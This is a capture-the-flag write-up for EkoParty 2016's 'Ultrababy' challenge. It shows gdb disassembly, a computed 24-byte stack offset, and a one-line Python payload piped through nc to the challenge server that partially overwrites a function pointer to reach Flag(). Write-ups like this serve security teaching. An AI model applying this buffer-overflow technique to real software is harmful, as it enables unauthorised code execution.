EkoParty '16 - Ultrababy

October 29 2016

Running checksec on the binary gave the following output:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED

This didn't look nice - considering PIE was one. Running nm gave:

00000000000007f3 T Flag
00000000000007e0 T Bye

Therefore we don't know a fixed address for the Flag() function, where we could just overwrite EIP and jump to.

Having a look in gdb..

   0x0000555555554806 <+0>:     push   rbp
   0x0000555555554807 <+1>:     mov    rbp,rsp
   0x000055555555480a <+4>:     sub    rsp,0x20
   0x000055555555480e <+8>:     lea    rax,[rip+0xffffffffffffffcb]        # 0x5555555547e0 <Bye>
   0x0000555555554815 <+15>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000555555554819 <+19>:    mov    rax,QWORD PTR [rip+0x200800]        # 0x555555755020 <[email protected]@GLIBC_2.2.5>
   0x0000555555554820 <+26>:    mov    ecx,0x0
   0x0000555555554825 <+31>:    mov    edx,0x2
   0x000055555555482a <+36>:    mov    esi,0x0
   0x000055555555482f <+41>:    mov    rdi,rax
   0x0000555555554832 <+44>:    call   0x555555554698
   0x0000555555554837 <+49>:    mov    rax,QWORD PTR [rip+0x2007d2]        # 0x555555755010 <[email protected]@GLIBC_2.2.5>
   0x000055555555483e <+56>:    mov    ecx,0x0
   0x0000555555554843 <+61>:    mov    edx,0x2
   0x0000555555554848 <+66>:    mov    esi,0x0
   0x000055555555484d <+71>:    mov    rdi,rax
   0x0000555555554850 <+74>:    call   0x555555554698
   0x0000555555554855 <+79>:    lea    rdi,[rip+0x10c]        # 0x555555554968
   0x000055555555485c <+86>:    call   0x555555554680
   0x0000555555554861 <+91>:    mov    rax,QWORD PTR [rip+0x2007a8]        # 0x555555755010 <[email protected]@GLIBC_2.2.5>
   0x0000555555554868 <+98>:    mov    rdi,rax
   0x000055555555486b <+101>:   call   0x555555554690
   0x0000555555554870 <+106>:   lea    rax,[rbp-0x20]
   0x0000555555554874 <+110>:   mov    edx,0x19
   0x0000555555554879 <+115>:   mov    rsi,rax
   0x000055555555487c <+118>:   mov    edi,0x0
   0x0000555555554881 <+123>:   call   0x555555554688
   0x0000555555554886 <+128>:   mov    rax,QWORD PTR [rip+0x200793]        # 0x555555755020 <[email protected]@GLIBC_2.2.5>
   0x000055555555488d <+135>:   mov    rdi,rax
   0x0000555555554890 <+138>:   call   0x555555554690
   0x0000555555554895 <+143>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x0000555555554899 <+147>:   mov    eax,0x0
   0x000055555555489e <+152>:   call   rdx
   0x00005555555548a0 <+154>:   mov    eax,0x0
   0x00005555555548a5 <+159>:   leave  
   0x00005555555548a6 <+160>:   ret

I noticed the following:

   0x0000555555554895 <+143>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x0000555555554899 <+147>:   mov    eax,0x0
   0x000055555555489e <+152>:   call   rdx

And when putting in 'AAAA' through stdin at the prompt, the following was at rbp-0x8:

gdb-peda$ x/xg $rbp-0x8
0x7fffffffdd88: 0x00005555555547e0

Where the 0x7e0 is for the end of the function address for Bye().

Hence we want to overwrite only the 0xe0 and replace with 0x7f (Flag())

So we find where our input is in the stack:

gdb-peda$ find AAAA
Searching for 'AAAA' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0x7fffffffdd70 --> 0x550a41414141 ('AAAA\nU')

And we know the location of rbp-0x8 from when we wanted to see what was there earlier (0x7fffffffdd88),
so we can find the number of bytes between the start of the buffer and rbp-0x8.

gdb-peda$ p/u 0x7fffffffdd88 - 0x7fffffffdd70
$2 = 24

Therefore 24 bytes in the buffer will bring us up to rbp-0x8, and one more byte overwrites the smallest byte in rbp-0x8 (0x7fffffffdd88) because the system is little-endian.

Therefore our payload is as follows:

[email protected] $ python -c "print 'A'*24 + '\xf3' " | nc 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site 55000
Welcome, give me you best shot

Cha ching!